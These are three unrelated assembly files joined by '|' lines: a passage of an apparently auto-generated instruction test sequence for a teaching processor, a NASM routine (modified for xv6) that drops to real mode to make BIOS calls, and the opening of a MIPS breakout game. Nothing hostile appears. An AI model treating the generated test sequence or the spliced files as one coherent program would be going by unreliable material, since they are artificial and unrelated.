lbi r6, 8 // icount 343
andni r7, r7, 1 // icount 344
stu r6, r7, 12 // icount 345
xor r6, r7, r4 // icount 346
add r3, r0, r4 // icount 347
ror r4, r3, r0 // icount 348
sub r2, r3, r4 // icount 349
andni r6, r1, 1 // icount 350
lbi r5, 0 // icount 351
lbi r4, 0 // icount 352
bgez r5, 28 // icount 353
sll r7, r0, r3 // icount 354
slli r0, r3, 1 // icount 355
lbi r2, 12 // icount 356
nop // to align meminst icount 357
andni r6, r6, 1 // icount 358
st r5, r6, 6 // icount 359
slt r3, r0, r2 // icount 360
ror r0, r4, r6 // icount 361
add r1, r1, r7 // icount 362
sco r3, r2, r7 // icount 363
andn r2, r4, r6 // icount 364
sub r1, r2, r7 // icount 365
xori r7, r3, 3 // icount 366
nop // to align meminst icount 367
andni r3, r3, 1 // icount 368
st r3, r3, 10 // icount 369
add r7, r7, r6 // icount 370
nop // to align meminst icount 371
andni r6, r6, 1 // icount 372
ld r0, r6, 8 // icount 373
slbi r3, 14 // icount 374
sco r2, r4, r2 // icount 375
xori r6, r5, 11 // icount 376
sll r6, r7, r2 // icount 377
slbi r3, 6 // icount 378
slt r0, r1, r2 // icount 379
subi r0, r7, 3 // icount 380
nop // to align meminst icount 381
andni r1, r1, 1 // icount 382
ld r7, r1, 10 // icount 383
andni r5, r5, 1 // icount 384
ld r3, r5, 12 // icount 385
rol r6, r3, r0 // icount 386
xor r3, r2, r6 // icount 387
andni r4, r4, 1 // icount 388
ld r7, r4, 0 // icount 389
andn r3, r5, r0 // icount 390
seq r7, r2, r3 // icount 391
sll r6, r2, r0 // icount 392
slli r6, r2, 3 // icount 393
j 32 // icount 394
nop // icount 395
nop // icount 396
nop // icount 397
nop // icount 398
nop // icount 399
nop // icount 400
nop // icount 401
nop // icount 402
nop // icount 403
nop // icount 404
nop // icount 405
nop // icount 406
nop // icount 407
nop // icount 408
nop // icount 409
nop // icount 410
j 12 // icount 411
nop // icount 412
nop // icount 413
nop // icount 414
nop // icount 415
nop // icount 416
nop // icount 417
j 30 // icount 418
nop // icount 419
nop // icount 420
nop // icount 421
nop // icount 422
nop // icount 423
nop // icount 424
nop // icount 425
nop // icount 426
nop // icount 427
nop // icount 428
nop // icount 429
nop // icount 430
nop // icount 431
nop // icount 432
nop // icount 433
j 12 // icount 434
nop // icount 435
nop // icount 436
nop // icount 437
nop // icount 438
nop // icount 439
nop // icount 440
sle r1, r5, r5 // icount 441
j 4 // icount 442
nop // icount 443
nop // icount 444
lbi r1, 0 // icount 445
lbi r1, 0 // icount 446
bltz r6, 8 // icount 447
sll r4, r1, r5 // icount 448
slbi r2, 2 // icount 449
andni r0, r0, 1 // icount 450
st r2, r0, 0 // icount 451
lbi r7, 15 // icount 452
nop // to align meminst icount 453
andni r6, r6, 1 // icount 454
st r0, r6, 10 // icount 455
lbi r4, 13 // icount 456
subi r4, r0, 15 // icount 457
andni r0, r1, 10 // icount 458
andni r5, r3, 3 // icount 459
j 6 // icount 460
nop // icount 461
nop // icount 462
nop // icount 463
lbi r7, 0 // icount 464
lbi r6, 0 // icount 465
nop // to align branch icount 466
bgez r1, 20 // icount 467
seq r4, r7, r1 // icount 468
andni r5, r6, 11 // icount 469
andn r2, r5, r3 // icount 470
subi r3, r0, 8 // icount 471
srl r6, r5, r6 // icount 472
xor r6, r2, r0 // icount 473
srli r1, r4, 6 // icount 474
slli r6, r6, 6 // icount 475
sco r6, r0, r1 // icount 476
subi r6, r5, 5 // icount 477
srl r4, r7, r1 // icount 478
sle r0, r3, r3 // icount 479
slbi r7, 9 // icount 480
add r1, r4, r0 // icount 481
andni r4, r4, 1 // icount 482
st r3, r4, 2 // icount 483
addi r1, r1, 0 // icount 484
srl r5, r6, r5 // icount 485
srl r7, r0, r3 // icount 486
sle r5, r0, r1 // icount 487
andni r6, r6, 1 // icount 488
st r3, r6, 0 // icount 489
lbi r5, 0 // icount 490
lbi r5, 0 // icount 491
nop // to align branch icount 492
beqz r7, 32 // icount 493
ror r0, r7, r1 // icount 494
subi r4, r4, 6 // icount 495
andn r4, r2, r2 // icount 496
slli r1, r7, 0 // icount 497
roli r0, r7, 0 // icount 498
seq r2, r1, r6 // icount 499
sll r5, r6, r7 // icount 500
sub r5, r5, r2 // icount 501
andni r0, r0, 1 // icount 502
stu r5, r0, 8 // icount 503
rori r6, r1, 0 // icount 504
ror r4, r2, r5 // icount 505
add r7, r6, r1 // icount 506
slt r5, r6, r2 // icount 507
andni r6, r6, 1 // icount 508
st r5, r6, 2 // icount 509
slt r5, r4, r0 // icount 510
slbi r5, 10 // icount 511
add r1, r0, r1 // icount 512
xor r0, r6, r7 // icount 513
andni r1, r1, 1 // icount 514
st r7, r1, 10 // icount 515
sco r6, r6, r3 // icount 516
xor r1, r4, r1 // icount 517
sle r5, r5, r3 // icount 518
xori r5, r3, 9 // icount 519
slt r0, r0, r3 // icount 520
seq r6, r7, r4 // icount 521
ror r0, r2, r6 // icount 522
ror r5, r3, r3 // icount 523
andni r1, r5, 10 // icount 524
slt r4, r4, r0 // icount 525
slt r5, r7, r6 // icount 526
rol r7, r0, r4 // icount 527
sll r5, r5, r7 // icount 528
seq r6, r0, r3 // icount 529
andni r2, r2, 1 // icount 530
ld r5, r2, 10 // icount 531
srl r1, r1, r4 // icount 532
andn r3, r2, r4 // icount 533
j 16 // icount 534
nop // icount 535
nop // icount 536
nop // icount 537
nop // icount 538
nop // icount 539
nop // icount 540
nop // icount 541
nop // icount 542
j 22 // icount 543
nop // icount 544
nop // icount 545
nop // icount 546
nop // icount 547
nop // icount 548
nop // icount 549
nop // icount 550
nop // icount 551
nop // icount 552
nop // icount 553
nop // icount 554
slli r0, r4, 10 // icount 555
slli r5, r1, 1 // icount 556
srli r7, r0, 14 // icount 557
lbi r4, 0 // icount 558
lbi r5, 0 // icount 559
nop // to align branch icount 560
bgez r4, 16 // icount 561
roli r1, r1, 11 // icount 562
add r0, r2, r4 // icount 563
srl r3, r3, r1 // icount 564
lbi r2, 4 // icount 565
andni r5, r2, 7 // icount 566
ror r1, r1, r2 // icount 567
sub r7, r6, r0 // icount 568
rol r4, r2, r3 // icount 569
andni r1, r2, 4 // icount 570
lbi r6, 15 // icount 571
subi r1, r3, 6 // icount 572
add r3, r1, r1 // icount 573
add r6, r3, r4 // icount 574
nop // to align meminst icount 575
andni r6, r6, 1 // icount 576
ld r7, r6, 2 // icount 577
sub r1, r3, r6 // icount 578
andn r1, r6, r1 // icount 579
ror r5, r4, r6 // icount 580
subi r6, r4, 1 // icount 581
lbi r5, 12 // icount 582
j 6 // icount 583
nop // icount 584
nop // icount 585
nop // icount 586
ror r6, r3, r6 // icount 587
andni r6, r6, 1 // icount 588
st r5, r6, 2 // icount 589
lbi r1, 0 // icount 590
lbi r6, 0 // icount 591
nop // to align branch icount 592
bgez r6, 28 // icount 593
sle r4, r1, r1 // icount 594
nop // to align meminst icount 595
andni r3, r3, 1 // icount 596
stu r7, r3, 4 // icount 597
xor r7, r2, r2 // icount 598
slli r5, r7, 3 // icount 599
andni r3, r6, 14 // icount 600
xori r2, r2, 13 // icount 601
ror r3, r7, r6 // icount 602
sle r0, r4, r3 // icount 603
slli r2, r3, 9 // icount 604
rori r6, r1, 3 // icount 605
srli r4, r4, 7 // icount 606
sub r2, r4, r7 // icount 607
sco r2, r7, r2 // icount 608
rol r5, r3, r3 // icount 609
andni r3, r3, 1 // icount 610
ld r2, r3, 8 // icount 611
sco r3, r5, r7 // icount 612
sub r5, r1, r0 // icount 613
andni r7, r7, 1 // icount 614
ld r2, r7, 0 // icount 615
ror r5, r5, r3 // icount 616
sco r4, r1, r0 // icount 617
slli r3, r4, 6 // icount 618
sle r1, r1, r5 // icount 619
sco r0, r4, r6 // icount 620
seq r1, r5, r4 // icount 621
andni r3, r3, 1 // icount 622
st r3, r3, 10 // icount 623
sco r4, r4, r6 // icount 624
sco r1, r2, r6 // icount 625
andni r6, r4, 0 // icount 626
nop // to align meminst icount 627
andni r3, r3, 1 // icount 628
stu r3, r3, 12 // icount 629
andni r1, r1, 1 // icount 630
st r0, r1, 12 // icount 631
lbi r5, 0 // icount 632
lbi r4, 0 // icount 633
nop // to align branch icount 634
beqz r5, 12 // icount 635
srli r4, r4, 2 // icount 636
sco r0, r6, r3 // icount 637
slli r2, r0, 11 // icount 638
rol r4, r0, r1 // icount 639
ror r6, r7, r2 // icount 640
slli r3, r6, 3 // icount 641
sll r6, r1, r2 // icount 642
andn r3, r0, r4 // icount 643
sll r3, r1, r3 // icount 644
nop // to align meminst icount 645
andni r3, r3, 1 // icount 646
st r7, r3, 14 // icount 647
sub r0, r6, r6 // icount 648
roli r3, r2, 8 // icount 649
slt r4, r1, r0 // icount 650
srl r6, r3, r6 // icount 651
srl r2, r0, r3 // icount 652
nop // to align meminst icount 653
andni r5, r5, 1 // icount 654
st r4, r5, 10 // icount 655
j 30 // icount 656
nop // icount 657
nop // icount 658
nop // icount 659
nop // icount 660
nop // icount 661
nop // icount 662
nop // icount 663
nop // icount 664
nop // icount 665
nop // icount 666
nop // icount 667
nop // icount 668
nop // icount 669
nop // icount 670
nop // icount 671
lbi r3, 0 // icount 672
lbi r1, 0 // icount 673
nop // to align branch icount 674
bltz r6, 4 // icount 675
ror r7, r7, r7 // icount 676
sll r5, r6, r4 // icount 677
ror r6, r1, r3 // icount 678
xor r2, r1, r3 // icount 679
andn r6, r7, r3 // icount 680
srl r2, r1, r7 // icount 681
lbi r4, 0 // icount 682
lbi r2, 0 // icount 683
nop // to align branch icount 684
bltz r3, 28 // icount 685
subi r6, r3, 2 // icount 686
nop // to align meminst icount 687
andni r0, r0, 1 // icount 688
st r7, r0, 0 // icount 689
ror r6, r4, r7 // icount 690
srli r0, r7, 7 // icount 691
lbi r5, 4 // icount 692
xor r3, r5, r4 // icount 693
sub r7, r6, r2 // icount 694
sub r0, r6, r2 // icount 695
add r0, r0, r2 // icount 696
sco r3, r2, r4 // icount 697
slli r0, r1, 10 // icount 698
subi r1, r0, 15 // icount 699
andni r5, r4, 3 // icount 700
addi r1, r2, 14 // icount 701
ror r4, r4, r0 // icount 702
andn r1, r3, r0 // icount 703
ror r1, r3, r1 // icount 704
add r0, r1, r6 // icount 705
andni r7, r7, 1 // icount 706
ld r6, r7, 2 // icount 707
slbi r2, 0 // icount 708
slt r2, r5, r6 // icount 709
xor r7, r5, r6 // icount 710
subi r0, r4, 14 // icount 711
add r0, r4, r7 // icount 712
seq r2, r4, r3 // icount 713
andni r1, r1, 0 // icount 714
andn r3, r4, r2 // icount 715
andni r4, r4, 1 // icount 716
ld r4, r4, 8 // icount 717
lbi r6, 0 // icount 718
lbi r0, 0 // icount 719
nop // to align branch icount 720
bnez r6, 8 // icount 721
sub r0, r7, r0 // icount 722
rol r4, r6, r2 // icount 723
slli r2, r4, 6 // icount 724
roli r3, r4, 2 // icount 725
roli r1, r5, 15 // icount 726
xori r3, r5, 3 // icount 727
andni r6, r7, 7 // icount 728
ror r1, r6, r1 // icount 729
lbi r0, 0 // icount 730
lbi r0, 0 // icount 731
nop // to align branch icount 732
bltz r6, 28 // icount 733
sco r2, r0, r2 // icount 734
srli r2, r5, 2 // icount 735
seq r0, r7, r5 // icount 736
rori r7, r5, 2 // icount 737
rori r5, r4, 7 // icount 738
nop // to align meminst icount 739
andni r0, r0, 1 // icount 740
st r0, r0, 2 // icount 741
slt r0, r3, r0 // icount 742
xor r7, r0, r5 // icount 743
andni r1, r1, 1 // icount 744
stu r7, r1, 10 // icount 745
ror r3, r6, r1 // icount 746
nop // to align meminst icount 747
andni r0, r0, 1 // icount 748
st r6, r0, 2 // icount 749
andni r3, r3, 1 // icount 750
stu r5, r3, 6 // icount 751
rori r6, r1, 5 // icount 752
seq r2, r6, r5 // icount 753
add r0, r0, r4 // icount 754
slli r3, r5, 15 // icount 755
andni r2, r5, 0 // icount 756
roli r6, r5, 14 // icount 757
sco r6, r7, r0 // icount 758
roli r4, r0, 13 // icount 759
addi r0, r3, 5 // icount 760
slt r3, r3, r0 // icount 761
ror r7, r6, r3 // icount 762
xori r7, r6, 1 // icount 763
slbi r4, 12 // icount 764
slbi r2, 11 // icount 765
add r6, r4, r0 // icount 766
sll r1, r1, r1 // icount 767
j 20 // icount 768
nop // icount 769
nop // icount 770
nop // icount 771
nop // icount 772
nop // icount 773
nop // icount 774
nop // icount 775
nop // icount 776
nop // icount 777
nop // icount 778
lbi r0, 0 // icount 779
lbi r1, 0 // icount 780
bgez r5, 20 // icount 781
addi r1, r0, 8 // icount 782
add r5, r3, r4 // icount 783
srl r5, r3, r4 // icount 784
srl r5, r3, r7 // icount 785
roli r7, r3, 5 // icount 786
srl r7, r5, r4 // icount 787
xor r5, r0, r1 // icount 788
subi r7, r6, 13 // icount 789
slbi r5, 10 // icount 790
sco r3, r6, r5 // icount 791
seq r7, r7, r0 // icount 792
addi r5, r7, 14 // icount 793
seq r6, r5, r2 // icount 794
andn r2, r5, r4 // icount 795
srl r6, r7, r1 // icount 796
sub r0, r7, r6 // icount 797
slli r7, r5, 6 // icount 798
sco r3, r3, r6 // icount 799
andni r6, r4, 6 // icount 800
roli r6, r1, 7 // icount 801
j 12 // icount 802
nop // icount 803
nop // icount 804
nop // icount 805
nop // icount 806
nop // icount 807
nop // icount 808
sub r3, r5, r4 // icount 809
rol r7, r3, r1 // icount 810
subi r4, r3, 2 // icount 811
lbi r7, 0 // icount 812
lbi r7, 0 // icount 813
nop // to align branch icount 814
bgez r1, 0 // icount 815
lbi r0, 0 // icount 816
lbi r1, 0 // icount 817
nop // to align branch icount 818
bnez r5, 16 // icount 819
roli r5, r7, 5 // icount 820
slli r2, r1, 6 // icount 821
xor r4, r2, r2 // icount 822
seq r0, r5, r3 // icount 823
addi r4, r1, 6 // icount 824
andn r5, r5, r5 // icount 825
xor r5, r4, r3 // icount 826
sle r3, r4, r6 // icount 827
seq r2, r6, r1 // icount 828
rol r6, r0, r4 // icount 829
xor r2, r2, r0 // icount 830
slli r3, r1, 11 // icount 831
andni r5, r6, 7 // icount 832
srl r7, r1, r2 // icount 833
rori r6, r2, 0 // icount 834
subi r0, r4, 2 // icount 835
sle r0, r3, r4 // icount 836
j 2 // icount 837
nop // icount 838
j 22 // icount 839
nop // icount 840
nop // icount 841
nop // icount 842
nop // icount 843
nop // icount 844
nop // icount 845
nop // icount 846
nop // icount 847
nop // icount 848
nop // icount 849
nop // icount 850
sco r0, r3, r3 // icount 851
j 8 // icount 852
nop // icount 853
nop // icount 854
nop // icount 855
nop // icount 856
nop // to align meminst icount 857
andni r6, r6, 1 // icount 858
st r4, r6, 8 // icount 859
lbi r0, 0 // icount 860
lbi r0, 0 // icount 861
nop // to align branch icount 862
beqz r1, 16 // icount 863
slli r2, r7, 10 // icount 864
sle r1, r0, r6 // icount 865
add r4, r6, r5 // icount 866
slt r4, r5, r4 // icount 867
xor r4, r3, r5 // icount 868
subi r4, r6, 1 // icount 869
lbi r0, 0 // icount 870
slbi r7, 12 // icount 871
andni r4, r1, 2 // icount 872
slt r5, r1, r0 // icount 873
andni r6, r6, 1 // icount 874
st r4, r6, 14 // icount 875
srli r0, r4, 10 // icount 876
sle r5, r1, r7 // icount 877
slli r5, r7, 0 // icount 878
roli r3, r1, 6 // icount 879
xori r7, r3, 4 // icount 880
subi r1, r7, 11 // icount 881
j 12 // icount 882
nop // icount 883
nop // icount 884
nop // icount 885
nop // icount 886
nop // icount 887
nop // icount 888
j 20 // icount 889
nop // icount 890
nop // icount 891
nop // icount 892
nop // icount 893
nop // icount 894
nop // icount 895
nop // icount 896
nop // icount 897
nop // icount 898
nop // icount 899
lbi r6, 0 // icount 900
lbi r6, 0 // icount 901
nop // to align branch icount 902
beqz r2, 8 // icount 903
xor r1, r1, r6 // icount 904
ror r2, r4, r0 // icount 905
add r4, r1, r2 // icount 906
slt r0, r5, r7 // icount 907
sle r0, r7, r7 // icount 908
slli r2, r7, 0 // icount 909
sub r5, r5, r1 // icount 910
roli r6, r7, 10 // icount 911
lbi r5, 0 // icount 912
lbi r7, 0 // icount 913
nop // to align branch icount 914
bgez r6, 28 // icount 915
slli r0, r7, 6 // icount 916
sle r3, r0, r1 // icount 917
srli r5, r4, 14 // icount 918
slt r3, r1, r2 // icount 919
xori r4, r5, 6 // icount 920
slbi r1, 9 // icount 921
rori r5, r4, 6 // icount 922
srl r4, r1, r2 // icount 923
addi r6, r3, 5 // icount 924
slbi r2, 7 // icount 925
rol r5, r5, r2 // icount 926
add r5, r0, r4 // icount 927
slt r6, r6, r7 // icount 928
andni r2, r2, 8 // icount 929
sub r7, r3, r6 // icount 930
addi r2, r2, 10 // icount 931
roli r6, r0, 6 // icount 932
ror r0, r2, r3 // icount 933
srl r4, r0, r2 // icount 934
slt r1, r5, r7 // icount 935
andn r4, r0, r1 // icount 936
addi r4, r5, 7 // icount 937
slbi r5, 9 // icount 938
rori r0, r3, 7 // icount 939
andn r7, r0, r4 // icount 940
andn r7, r3, r2 // icount 941
sle r3, r2, r2 // icount 942
nop // to align meminst icount 943
andni r5, r5, 1 // icount 944
ld r7, r5, 8 // icount 945
xor r4, r0, r7 // icount 946
nop // to align meminst icount 947
andni r1, r1, 1 // icount 948
stu r1, r1, 0 // icount 949
lbi r4, 0 // icount 950
lbi r0, 0 // icount 951
nop // to align branch icount 952
beqz r3, 4 // icount 953
andni r6, r6, 1 // icount 954
st r6, r6, 4 // icount 955
lbi r6, 6 // icount 956
andni r2, r1, 14 // icount 957
slt r7, r1, r2 // icount 958
andni r6, r5, 1 // icount 959
lbi r3, 0 // icount 960
lbi r3, 0 // icount 961
nop // to align branch icount 962
beqz r3, 24 // icount 963
subi r0, r5, 11 // icount 964
nop // to align meminst icount 965
andni r4, r4, 1 // icount 966
st r2, r4, 10 // icount 967
seq r7, r0, r1 // icount 968
roli r1, r1, 14 // icount 969
andni r1, r1, 1 // icount 970
ld r1, r1, 14 // icount 971
sll r0, r6, r4 // icount 972
add r7, r7, r3 // icount 973
srl r7, r3, r2 // icount 974
rol r3, r3, r5 // icount 975
sll r1, r4, r4 // icount 976
subi r7, r6, 13 // icount 977
seq r1, r5, r5 // icount 978
sle r3, r5, r5 // icount 979
srli r1, r0, 8 // icount 980
lbi r6, 12 // icount 981
seq r4, r7, r3 // icount 982
srli r1, r3, 5 // icount 983
lbi r1, 9 // icount 984
xori r2, r5, 14 // icount 985
andni r1, r1, 1 // icount 986
st r2, r1, 12 // icount 987
sub r3, r1, r0 // icount 988
xor r7, r1, r1 // icount 989
slli r5, r1, 0 // icount 990
nop // to align meminst icount 991
andni r5, r5, 1 // icount 992
stu r2, r5, 12 // icount 993
halt // icount 994
|
;
; Protected Mode BIOS Call Functionailty v2.0 - by Napalm
; -------------------------------------------------------
;
; This is code shows how its POSSIBLE to execute BIOS interrupts
; by switch out to real-mode and then back into protected mode.
;
; If you wish to use all or part of this code you must agree
; to the license at the following URL.
;
; License: http://creativecommons.org/licenses/by-sa/2.0/uk/
;
; Notes: This file is in NASM syntax.
; Turn off paging before calling these functions.
; int32() resets all selectors.
;
; C Prototype:
; void _cdelc int32(unsigned char intnum, regs16_t *regs);
;
; Example of usage:
; regs.ax = 0x0013;
; int32(0x10, ®s);
; memset((char *)0xA0000, 1, (320*200));
; memset((char *)0xA0000 + (100*320+80), 14, 80);
; regs.ax = 0x0000;
; int32(0x16, ®s);
; regs.ax = 0x0003;
; int32(0x10, ®s);
;
;
[bits 32]
global int32, _int32
struc regs16_t
.di resw 1
.si resw 1
.bp resw 1
.sp resw 1
.bx resw 1
.dx resw 1
.cx resw 1
.ax resw 1
.gs resw 1
.fs resw 1
.es resw 1
.ds resw 1
.ef resw 1
endstruc
%define INT32_BASE 0x7C00
%define REBASE(x) (((x) - reloc) + INT32_BASE)
%define GDTENTRY(x) ((x) << 3)
%define CODE32 GDTENTRY(1) ; 0x08
%define DATA32 GDTENTRY(2) ; 0x10
%define CODE16 GDTENTRY(3) ; 0x18
%define DATA16 GDTENTRY(4) ; 0x20
%define STACK16 (INT32_BASE - regs16_t_size)
; jakob added these - handy constants copied from xv6 mmu.h, don't want to mess with cross-syntax includes
%define CR0_PG 0x80000000
%define CR0_WP 0x00010000
section .text
int32: use32 ; by Napalm
_int32:
cli ; disable interrupts
pusha ; save register state to 32bit stack
mov esi, reloc ; set source to code below
mov edi, INT32_BASE ; set destination to new base address
mov ecx, (int32_end - reloc) ; set copy size to our codes size
cld ; clear direction flag (so we copy forward)
rep movsb ; do the actual copy (relocate code to low 16bit space)
prejump:
jmp INT32_BASE ; jump to new code location
reloc: use32 ; by Napalm
mov [REBASE(stack32_ptr)], esp ; save 32bit stack pointer
sidt [REBASE(idt32_ptr)] ; save 32bit idt pointer
sgdt [REBASE(gdt32_ptr)] ; save 32bit gdt pointer
lea esi, [esp+0x24] ; set position of intnum on 32bit stack
lodsd ; read intnum into eax
mov [REBASE(ib)], al ; set intrrupt immediate byte from our arguments
mov esi, [esi] ; read regs pointer in esi as source
mov edi, STACK16 ; set destination to 16bit stack
mov ecx, regs16_t_size ; set copy size to our struct size
mov esp, edi ; save destination to as 16bit stack offset
rep movsb ; do the actual copy (32bit stack to 16bit stack)
pagedis: ; disable paging temporarily
; save away old CR3 value for later, then clear CR3 to flush TLB
mov eax, cr3
mov [REBASE(cr3_saved)],eax
; disable paging
mov eax, cr0
xor eax, CR0_PG|CR0_WP
mov cr0, eax
; clear old cr3 value
mov eax, $0
mov cr3, eax
postdis:
lgdt [REBASE(gdt16_ptr)] ; load 16bit gdt pointer
jmp word CODE16:REBASE(p_mode16) ; switch to 16bit selector (16bit protected mode)
p_mode16: use16
mov ax, DATA16 ; get our 16bit data selector
mov ds, ax ; set ds to 16bit selector
mov es, ax ; set es to 16bit selector
mov fs, ax ; set fs to 16bit selector
mov gs, ax ; set gs to 16bit selector
mov ss, ax ; set ss to 16bit selector
mov eax, cr0 ; get cr0 so we can modify it
and al, ~0x01 ; mask off PE bit to turn off protected mode
mov cr0, eax ; set cr0 to result
jmp word 0x0000:REBASE(r_mode16) ; finally set cs:ip to enter real-mode
r_mode16: use16
xor ax, ax ; set ax to zero
mov ds, ax ; set ds so we can access idt16
mov ss, ax ; set ss so they the stack is valid
lidt [REBASE(idt16_ptr)] ; load 16bit idt
mov bx, 0x0870 ; master 8 and slave 112
call resetpic16 ; set pic's the to real-mode settings
popa ; load general purpose registers from 16bit stack
pop gs ; load gs from 16bit stack
pop fs ; load fs from 16bit stack
pop es ; load es from 16bit stack
pop ds ; load ds from 16bit stack
; jakob - interrupts are kept disabled for the duration of the BIOS call.
; this is to avoid running into trouble with any interrupts that should've been delivered to xv6.
; the final solution here should probably do something much more clever. I suspect many BIOS calls
; will not work under these conditions. Perhaps
; (a) waiting for any pending interrupts to happen,
; (b) stopping the timer, and
; (c) masking any non-essential interrupts would be a good start.
;
; sti ; enable interrupts
db 0xCD ; opcode of INT instruction with immediate byte
ib: db 0x00
; cli ; disable interrupts
xor sp, sp ; zero sp so we can reuse it
mov ss, sp ; set ss so the stack is valid
mov sp, INT32_BASE ; set correct stack position so we can copy back
pushf ; save eflags to 16bit stack
push ds ; save ds to 16bit stack
push es ; save es to 16bit stack
push fs ; save fs to 16bit stack
push gs ; save gs to 16bit stack
pusha ; save general purpose registers to 16bit stack
mov bx, 0x2028 ; master 32 and slave 40
call resetpic32 ; restore the pic's to protected mode settings
mov eax, cr0 ; get cr0 so we can modify it
inc eax ; set PE bit to turn on protected mode
mov cr0, eax ; set cr0 to result
jmp dword CODE32:REBASE(p_mode32) ; switch to 32bit selector (32bit protected mode)
p_mode32: use32
; put correct cr3 back
mov eax, [REBASE(cr3_saved)]
mov cr3, eax
; jakob added this - enable paging again
mov eax, cr0
or eax, CR0_PG|CR0_WP
mov cr0, eax
lgdt [REBASE(gdt32_ptr)] ; restore 32bit gdt pointer
lidt [REBASE(idt32_ptr)] ; restore 32bit idt pointer
mov ax, DATA32 ; get our 32bit data selector
mov ds, ax ; reset ds selector
mov es, ax ; reset es selector
mov ss, ax ; reset ss selector
mov ax, 0x18 ; CPU-local selector
mov gs, ax ; reset gs selector
mov fs, ax ; reset fs selector
mov esp, [REBASE(stack32_ptr)] ; restore 32bit stack pointer
mov esi, STACK16 ; set copy source to 16bit stack
lea edi, [esp+0x28] ; set position of regs pointer on 32bit stack
mov edi, [edi] ; use regs pointer in edi as copy destination
mov ecx, regs16_t_size ; set copy size to our struct size
cld ; clear direction flag (so we copy forward)
rep movsb ; do the actual copy (16bit stack to 32bit stack)
popa ; restore registers
; sti ; enable interrupts
ret ; return to caller
resetpic16: ; reset's 8259 master and slave pic vectors
push ax ; expects bh = master vector, bl = slave vector
mov al, 0x11 ; 0x11 = ICW1_INIT | ICW1_ICW4
out 0x20, al ; send ICW1 to master pic
out 0xA0, al ; send ICW1 to slave pic
mov al, bh ; get master pic vector param
out 0x21, al ; send ICW2 aka vector to master pic
mov al, bl ; get slave pic vector param
out 0xA1, al ; send ICW2 aka vector to slave pic
mov al, 0x04 ; 0x04 = set slave to IRQ2
out 0x21, al ; send ICW3 to master pic
shr al, 1 ; 0x02 = tell slave its on IRQ2 of master
out 0xA1, al ; send ICW3 to slave pic
shr al, 1 ; 0x01 = ICW4_8086
out 0x21, al ; send ICW4 to master pic
out 0xA1, al ; send ICW4 to slave pic
pop ax ; restore ax from stack
ret ; return to caller
resetpic32: ; reset's 8259 master and slave pic vectors
push ax ; expects bh = master vector, bl = slave vector
mov al, 0x11 ; 0x11 = ICW1_INIT | ICW1_ICW4
out 0x20, al ; send ICW1 to master pic
out 0xA0, al ; send ICW1 to slave pic
mov al, bh ; get master pic vector param
out 0x21, al ; send ICW2 aka vector to master pic
mov al, bl ; get slave pic vector param
out 0xA1, al ; send ICW2 aka vector to slave pic
mov al, 0x04 ; 0x04 = set slave to IRQ2
out 0x21, al ; send ICW3 to master pic
shr al, 1 ; 0x02 = tell slave its on IRQ2 of master
out 0xA1, al ; send ICW3 to slave pic
mov ax, 0x3
; shr al, 1 ; 0x01 = ICW4_8086
out 0x21, al ; send ICW4 to master pic
out 0xA1, al ; send ICW4 to slave pic
pop ax ; restore ax from stack
ret ; return to caller
stack32_ptr: ; address in 32bit stack after we
dd 0x00000000 ; save all general purpose registers
idt32_ptr: ; IDT table pointer for 32bit access
dw 0x0000 ; table limit (size)
dd 0x00000000 ; table base address
gdt32_ptr: ; GDT table pointer for 32bit access
dw 0x0000 ; table limit (size)
dd 0x00000000 ; table base address
cr3_saved:
dd 0x00000000
idt16_ptr: ; IDT table pointer for 16bit access
dw 0x03FF ; table limit (size)
dd 0x00000000 ; table base address
gdt16_base: ; GDT descriptor table
.null: ; 0x00 - null segment descriptor
dd 0x00000000 ; must be left zero'd
dd 0x00000000 ; must be left zero'd
.code32: ; 0x01 - 32bit code segment descriptor 0xFFFFFFFF
dw 0xFFFF ; limit 0:15
dw 0x0000 ; base 0:15
db 0x00 ; base 16:23
db 0x9A ; present, iopl/0, code, execute/read
db 0xCF ; 4Kbyte granularity, 32bit selector; limit 16:19
db 0x00 ; base 24:31
.data32: ; 0x02 - 32bit data segment descriptor 0xFFFFFFFF
dw 0xFFFF ; limit 0:15
dw 0x0000 ; base 0:15
db 0x00 ; base 16:23
db 0x92 ; present, iopl/0, data, read/write
db 0xCF ; 4Kbyte granularity, 32bit selector; limit 16:19
db 0x00 ; base 24:31
.code16: ; 0x03 - 16bit code segment descriptor 0x000FFFFF
dw 0xFFFF ; limit 0:15
dw 0x0000 ; base 0:15
db 0x00 ; base 16:23
db 0x9A ; present, iopl/0, code, execute/read
db 0x0F ; 1Byte granularity, 16bit selector; limit 16:19
db 0x00 ; base 24:31
.data16: ; 0x04 - 16bit data segment descriptor 0x000FFFFF
dw 0xFFFF ; limit 0:15
dw 0x0000 ; base 0:15
db 0x00 ; base 16:23
db 0x92 ; present, iopl/0, data, read/write
db 0x0F ; 1Byte granularity, 16bit selector; limit 16:19
db 0x00 ; base 24:31
gdt16_ptr: ; GDT table pointer for 16bit access
dw gdt16_ptr - gdt16_base - 1 ; table limit (size)
dd REBASE(gdt16_base) ; table base address
int32_end: ; end marker (so we can copy the code)
|
.data
stack_beg:
.word 0 : 80
stack_end:
filename: .asciiz "/Users/scgtall25/Desktop/CS3340Architecture/TeamProject/Resource/P02.png"
endgameWin: .asciiz "/Users/scgtall25/Desktop/CS3340Architecture/TeamProject/Resource/P01.png"
endgamePanda: .asciiz "/Users/scgtall25/Desktop/CS3340Architecture/TeamProject/Resource/P01.png"
bricksLeft: .word 128
p_xLoc: .word 256
p_MoveLeft: .word 0 # count for moves left
p_MoveRight: .word 0 # count for moves right
p_Release: .word 0 # boolean for release
b_onPaddle: .word 1 # boolean for whether ball is on paddle. If p_Release == b_onPaddle then call releaseBall
b_loc_x: .word 248
b_loc_y: .word 0
b_velocity_x: .word 0
b_velocity_y: .word 0
restart_pressed: .word 0
win_text: .asciiz "You won! Enjoy you're reward :)"
lose_text: .asciiz "You lost. The Panda is sad."
level: .word 0
max_level: .word 1
.text
main:
la $a0, endgamePanda
li $v0, 60
syscall
li $a0, 0
li $a1, 0
li $v0, 61
syscall
li $a0, 0
li $a1, 256
li $a2, 0
jal DrawDot
j end
# Enable interrupts in status register
mfc0 $t0, $12
# Disable all interrupt levels
lw $t1, EXC_INT_ALL_MASK
not $t1, $t1
and $t0, $t0, $t1
# Enable console interrupt levels
lw $t1, EXC_INT3_MASK
or $t0, $t0, $t1
#lw $t1, EXC_INT4_MASK
#or $t0, $t0, $t1
# Enable exceptions globally
lw $t1, EXC_ENABLE_MASK
or $t0, $t0, $t1
mtc0 $t0, $12
# Enable keyboard interrupts
li $t0, 0xffff0000 # Receiver control register
li $t1, 0x00000002 # Interrupt enable bit
sw $t1, ($t0)
